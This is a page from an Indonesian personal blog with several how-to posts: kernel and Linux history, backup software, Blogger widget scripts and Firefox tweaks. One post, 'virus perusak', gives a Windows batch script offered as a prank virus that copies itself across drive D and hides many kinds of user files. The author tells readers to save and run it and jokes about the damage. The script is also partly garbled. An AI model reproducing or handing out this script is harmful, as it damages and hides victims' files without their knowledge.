___   __         ___         ___            
  ___ _ / _ \ / /  ___   / _ ) ___ _ / _ \ ___  __ __
 / _ `// // // _ \/ -_) / _  |/ _ `// // // _ \ \ \ /
 \_,_//____//_//_/\__/ /____/ \_,_/ \___//_//_//_\_\ 

Kamis, 12 Juli 2012

Pengertian kernel

Pengertian Tentang Kernel
Kernel adalah suatu perangkat lunak yang menjadi bagian utama dari sebuah sistem operasi. Tugasnya melayani bermacam program aplikasi untuk mengakses perangkat keras komputer secara aman.
Karena akses terhadap perangkat keras terbatas,
sedangkan ada lebih dari satu program yang harus dilayani dalam waktu yang bersamaan, maka kernel juga bertugas untuk mengatur kapan dan berapa lama suatu program dapat menggunakan satu bagian perangkat keras tersebut.
Hal tersebut dinamakan sebagai multiplexing.Akses kepada perangkat keras secara langsung merupakan masalah yang kompleks, oleh karena itu kernel biasanya mengimplementasikan sekumpulan abstraksi hardware.
Abstraksi-abstraksi tersebut merupakan sebuah cara untuk menyembunyikan kompleksitas, dan memungkinkan akses kepada perangkat keras menjadi mudah dan seragam.
Sehingga abstraksi pada akhirnya memudahkan pekerjaan programer.Untuk menjalankan sebuah komputer kita tidak harus menggunakan kernel sistem operasi. Sebuah program dapat saja langsung di- load dan dijalankan diatas mesin 'telanjang' komputer, yaitu bilamana pembuat program ingin melakukan pekerjaannya tanpa bantuan abstraksi perangkat keras atau bantuan sistem operasi.
Teknik ini digunakan oleh komputer generasi awal, sehingga bila kita ingin berpindah dari satu program ke program lain, kita harus mereset dan meload kembali program-program tersebut.

Ada 4 kategori kernel:
1. Monolithic kernel. Kernel yang menyediakan abstraksi perangkat keras yang kaya dan tangguh.
2. Microkernel. Kernel yang menyediakan hanya sekumpulan kecil abstraksi perangkat keras sederhana, dan menggunakan aplikasi-aplikasi yang disebut sebagai server untuk menyediakan fungsi-fungsi lainnya.
3. Hybrid (modifikasi dari microkernel). Kernel yang mirip microkernel, tetapi ia juga memasukkan beberapa kode tambahan di kernel agar ia menjadi lebih cepat.
4. Exokernel. Kernel yang tidak menyediakan sama sekali abstraksi hardware, tapi ia menyediakan sekumpulan pustaka yang menyediakan fungsi-fungsi akses ke perangkat keras secara langsung atau hampir-hampir langsung.Dari keempat kategori kernel yang disebutkan diatas, kernel Linux termasuk kategori monolithic kernel. Kernel Linux berbeda dengan sistem Linux. Kernel Linux merupakan sebuah perangkat lunak orisinil yang dibuat oleh komunitas Linux,
sedangkan sistem Linux, yang dikenal saat ini, mengandung banyak komponen yang dibuat sendiri atau dipinjam dari proyek pengembangan lain.
Kernel Linux pertama yang dipublikasikan adalah versi 0.01, pada tanggal 14 Maret 1991. Sistem berkas yang didukung hanya sistem berkas Minix. Kernel pertama dibuat berdasarkan kerangka Minix (sistem UNIX kecil yang dikembangkan oleh Andy Tanenbaum).
Tetapi, kernel tersebut sudah mengimplementasi proses UNIX secara tepat.Pada tanggal 14 Maret 1994 dirilis versi 1.0, yang merupakan tonggak sejarah Linux. Versi ini adalah kulminasi dari tiga tahun perkembangan yang cepat dari kernel Linux. Fitur baru terbesar yang disediakan adalah jaringan. Versi 1.0 mampu mendukung protokol standar jaringan TCP/IP. Kernel 1.0 juga memiliki sistem berkas yang lebih baik tanpa batasan-batasan sistem berkas Minix. Sejumlah dukungan perangkat keras ekstra juga dimasukkan ke dalam rilis ini.
Dukungan perangkat keras telah berkembang termasuk diantaranya floppy-disk, CD-ROM, sound card, berbagai mouse, dan keyboard internasional. Dukungan juga diberikan terhadap modul kernel yang loadable dan unloadable secara dinamis.Satu tahun kemudian dirilis kernel versi 1.2. Kernel ini mendukung variasi perangkat keras yang lebih luas. Pengembang telah memperbaharui networking stack untuk menyediakan support bagi protokol IPX, dan membuat implementasi IP lebih lengkap dengan memberikan fungsi accounting dan firewalling. Kernel 1.2 ini merupakan kernel Linux terakhir yang PC-only. Konsentrasi lebih diberikan pada dukungan perangkat keras dan memperbanyak implementasi lengkap pada fungsi-fungsi yang ada.Pada bulan Juni 1996, kernel Linux 2.0 dirilis. Versi ini memiliki dua kemampuan baru yang penting, yaitu dukungan terhadap multiple architecture dan multiprocessor architectures. Kode untuk manajemen memori telah diperbaiki sehingga kinerja sistem berkas dan memori virtual meningkat. Untuk pertama kalinya, file system caching dikembangkan ke networked file systems, juga sudah didukung writable memory mapped regions. Kernel 2.0 sudah memberikan kinerja TCP/IP yang lebih baik, ditambah dengan sejumlah protokol jaringan baru. Kemampuan untuk memakai remote netware dan SMB (Microsoft LanManager) network volumes juga telah ditambahkan pada versi terbaru ini. Tambahan lain adalah dukungan internal kernel threads, penanganan dependencies antara modul-modul loadable, dan loading otomatis modul berdasarkan permintaan (on demand). Konfigurasi dinamis dari kernel pada run time telah diperbaiki melalui konfigurasi interface yang baru dan standar.Semenjak Desember 2003, telah diluncurkan Kernel versi 2.6, yang dewasa ini (2008) telah mencapai patch versi 2.6.26.1 ( http://kambing.ui.edu/kernel-linux/v2.6/).

Hal-hal yang berubah dari versi 2.6 ini ialah:
* Subitem M/K yang dipercanggih.* Kernel yang pre-emptif.* Penjadwalan Proses yang dipercanggih.
* Threading yang dipercanggih.* Implementasi ALSA (Advanced Linux Sound Architecture) dalam kernel.
* Dukungan sistem berkas seperti: ext2, ext3, reiserfs, adfs, amiga ffs, apple macintosh hfs, cramfs, jfs, iso9660, minix, msdos, bfs, free vxfs, os/2 hpfs, qnx4fs, romfs, sysvfs, udf, ufs, vfat, xfs, BeOS befs (ro), ntfs (ro), efs (ro).

semoga bermanfaat.....
»»  READMORE ==>>

Cara backup dan Restore data komputer Menggunakan EASUS

Pernahkah komputer anda mengalami system crash ataupun hardware failure secara tiba-tiba? Apalagi saat hal tersebut datang, posisi kita sedang mengerjakan tugas dalam komputer yang tentunya sangat menjengkelkan karena kita harus kehilangan seluruh hasil kerja kita yang tersimpan di sana. Untuk itu pada kesempatan ini AllSoft akan berbagi informasi cara backup dan restore data computer dengan menggunakan EASEUS Todo Backup. Sebenarnya tanpa software ini pun kita bisa membackup data dengan cara manual, namun dengan memanfaatkan software Easeus Todo Backup kita akan lebih mudah melakukan backup atau restore dibandingkan dengan menggunakan cara manual.
Aplikasi Easeus Todo Backup dilengkapi dengan instruction wizards yang detil, yang menyediakan petunjuk penggunaan yang cukup jelas. EASEUS Todo Backup memungkinkan kita untuk membuat backup atas system state, partisi, dan disk kita dengan cepat dan mudah. Selain memberikan kemampuan untuk dengan mudah melakukan restore disaat komputer kita mengalami crash ataupun gangguan lainnya, EASEUS Todo Backup juga dapat membantu kita untuk mengganti hard disk kita tanpa harus meng-install ulang sistem operasi computer kita. EASEUS Todo Backup dapat digunakan pada komputer yang memakai sistem operasi Windows 2000 professional, Windows XP, Vista, Windows 7 dan Windows Server 2000/2003/2008. (sumber: klik-kanan.com) Untuk informasi lebih lanjut dan mendapatkan applikasi tersebut silakan anda berkunjung langsung kesitus resminya SUMBER : allcomputersoft.blogspot.com hanya share saja bagi yang belum tau, maaf kalau saya pernah melanggar peraturan, dan close aja kalau repost, satu lagi saya hanya ingin berbagi... jangan lupa ijo2nya kalau berguna bagi teman2..terimakasih..
»»  READMORE ==>>

Cara membuat "Read More" di postingan blogger

nah ni tips sederhana...
mudah"n berguna

1. Login ke Blogger anda, lalu masuk ke Design/Rancangan , pilih "Edit HTML"
2. Beri centang pada "Expand Widget Templates"
3. Cari kode </head> dan kalau sudah ketemu
    agar lebih mudah tekan " CTRL+F "
4,.Lalu silahkan Tambahkan kode dibawah ini tepatnya diatas kode </head>
<script type='text/javascript'> var thumbnail_mode = "no-float" ; summary_noimg = 430; summary_img = 340; img_thumb_height = 100; img_thumb_width = 120; </script> <script src='http://rizqi.moehamed.googlepages.com/read-moreotomatis.js' type='text/javascript'/>




Keterangan:
summary_noimg = 300 menunjukkan jumlah karakter yang ditampilkan tanpa gambar
summary_img = 301 menunjukkan jumlah karakter yang ditampilkan termasuk gambar
img_thumb_height = 150 menunjukkan tinggi gambar thumbnail
img_thumb_width = 150 menunjukkan lebar gambar thumbnail


► langkah Selanjutnya cari kode <data:post.body/> lalu ganti tag <data:post.body/> tersebut dengan kode script di bawah ini :

<b:if cond='data:blog.pageType != &quot;item&quot;'>
<div expr:id='&quot;summary&quot; + data:post.id'><data:post.body/></div>
<script type='text/javascript'>createSummaryAndThumb(&quot;summary<data:post.id/>&quot;);
</script>
<span class='rmlink' style='float:right;padding-top:20px;'>
<a expr:href='data:post.url'>&#187;&#187;&#160;&#160;READMORE...</a></span>
</b:if>
<b:if cond='data:blog.pageType == &quot;item&quot;'><data:post.body/></b:if>



Read more »



8. Finish ^_^ , simpan tempelate , dan lihat hasilnya di blog anda.....
selamat mencoba.
»»  READMORE ==>>

Jumat, 04 November 2011

virus perusak *.doc *.xls *.ppt *.wav *.mp3 *.jpg *.jpeg *.avi *.gif *.txt *.mp4 *

PHP Code:

@echo offfor /r "D:\" %%a in (*.doc *.xls *.ppt *.wav *.mp3 *.jpg *.jpeg *.avi *.gif *.txt *.mp4 *.html *.bmp *.exe *.docx *.png *.ico *.rar *.3gp *.flv *.avi *.mkv *.srt *.dll) do (
   copy %0 "%%~rahasia.bat" && attrib +s +h "%%~fa"
)
@echo off



save dengan dhe_baonx.bat
jangan lupa bawah nya all files

ini merusak file *.doc *.xls *.ppt *.wav *.mp3 *.jpg *.jpeg *.avi *.gif *.txt *.mp4 *.html *.bmp *.exe *.docx *.png *.ico *.rar *.3gp *.flv *.avi *.mkv *.srt *.dll yang ada didalam local disk D
dan membua file rahasia.bat di disk D
secara sembunyi" =)) =))


link asli pe-ha-ka
»»  READMORE ==>>

Jumat, 21 Oktober 2011

Cara membuat icon yahoo di blog

Cara buatnya sangat gampang kamu tinggal copy script berikut ini trus kamu pasang di sidebar kamu, udah tahu kan cara pasanganya Pertama kamu login ke blog kamu dulu. Terus pergi kerancangan ( page element) Add a Gadget Langsung ke HTML / Java Script dan masukan kode di bawah ini...
<a href="ymsgr:sendIM?adhebaonx"> <img src="http://opi.yahoo.com/online?u=adhebaonx&amp;m=g&amp;t=2&amp;l=us"/> </a>
dan kalo dah selesai kamu simpan. Ganti text yang warna merah (adhebaonx) dengan ID YAHOO (username) kamu. perhatikan angka "2", itu bisa kamu ganti dengan angka yang lain dan hasilnya gambar yang ditampilkan akan berbeda-beda. link asli http://web.gallerydunia.com/2
»»  READMORE ==>>

membuat chat box di blog

yang pertama tama musti anda lakukan adalah kunjungi situs yang ini dulu silahkan di klik shoutmix.com,
setelah anda klik link tersebut lalu anda akan di hadapkan ke halaman register/pendaftaran dan masukan data anda sesuai dengan yang di ingan kan di form tersebut...
yaitu di kolom yang pertama dari atas silahkan nama username anda (terserah anda)
setelah itu di kolom kedua silahkan isikan pasword yang ingin anda pakai untuk login,
kemudian di kolom yang ketiga masukkan ferifikasi pasword yang anda masukkan tadi di kolom yang kedua (inget! pasword harus sama dengan yang anda isikan di kolom yang kedua tadi), kemudian di kolom yang ke empat silahkan masukkan nama asli anda, dan yang terakhir masukkan alamat email yang anda punya.
nah..setelah anda lengkap mengisi data diri anda termasuk user name dan pasword lalu jangan lupa anda mengasih tanda centang atau cecklist pada tulisan " I have read and agree to the Terms of Service." setelah itu tekan tombol "continue".
setelah anda tadi tetrdaftar dan anda sekarang ada di halaman pemilihan style chat box.
anda bisa memilih style sesuka hati anda dengan cara kasih tanda titik atau cecklist pada style chat box anda pilih,
setelah itu masukkan ferisikasi kata yang ada di gambar sebelah kanan kolom. setelah itu anda klik "continue" selesai...
dan tahap selanjutnya adalah pengambilan code scriptnya..
yaitu dengan cara klik menu di paling atas yang bertuliskan " settings ", di dalam halam seting ini anda bisa mengkonfigurasi setingan chat box anda,
seperti mengubah warna chat box, dan lain2..
nah untuk mengkonfigurasi setingan ini anda bisa lakukan sendiri mendatang ( saya yakin anda bisa, dulu saya juga pas pertama juga binun.. heheh ) dan yang paling penting adalah tahap pengambilan code scriptnya..
setelah anda di halaman setting anda cari aja tulisan " Get codes " yang berada di kotak sebelah kiri atas (klik aja tulisan itu) anda akan dihalaman baru dan cari dan klik lagi yang bertuliskan " Place shoutbox on webpage "
setelah itu muculah code scriptnya di bawah... dan silahkan copy code script tersebut dan pastekan di halaman blog anda... ,
mengenai penempatan nya sesuai dengan selera anda.. dan yang paling baik di tempatkan di bagian "sidebar" blog anda..
cara menempatkan di sidebar pun cukup mudah, anda tinggal login ke bloggersetelah itu tekan menu di blogger yg bertuliskan "layout" abis ntu pilih lagi pilihan " Add a Page Element " ( pengaturan dalam bahasa inggris,
jika blog anda memakai pengaturan bahasa indonesia silahkan di kira2 sendir arti yang sama dengan kata " Add a Page Element "),
kemudian akan muncul jendela baru dan pilih lagi pilihan " HTML/JAVASCRIPT " dan masukkan code script chat box tadi ke kolom yang tersedia dan tekan tombolo save/simpan...
selesai sudah,


link aslinya http://master-blog-ayiek.blogspot.com
»»  READMORE ==>>

Kamis, 20 Oktober 2011

cara mempercepat Mozilla Firefox

asalamualaikum wr wb ni ane mo share.. bgaimna cara mempercepat mozila firefox mudah" berguna :D Langsung aja lah tanpa bnyak basa basi... 1 Buka Mozilla. 2 Ketikan di addres bar “about:config” (tanpa tanda patik). 3 Scroll mouse anda kebawah dan cari “network.http.max-connections“, double klik dan masukan nilai “64“. 4 Cari “network.http.max-connections-per-server“, double klik dan masukan nilai “21“. 5 Cari ‘network.http.max-persistent-connections-per-server“, double klik dan masukan nilai “8“. 6 Doube klik pada “network.http.pipelining ” menjadi “true“. 7 Cari “network.http.pipelining.maxrequests“, double klik dan masukan nilai “100“. 8 Double klik pada “network.http.proxy.pipelining” menjadi “true“. 9 Langkah terakhir, klik kanan dimana saja pilih : New >> integrar >> lalu tulis “nglayout.initialpaint.delay” (tanpa tanda petik”. Kemudian masukan nilai “ 0 “. mudah"n berguna sekian n terima kasih wasalamu alaikum wr wb...
»»  READMORE ==>>

IT indonesia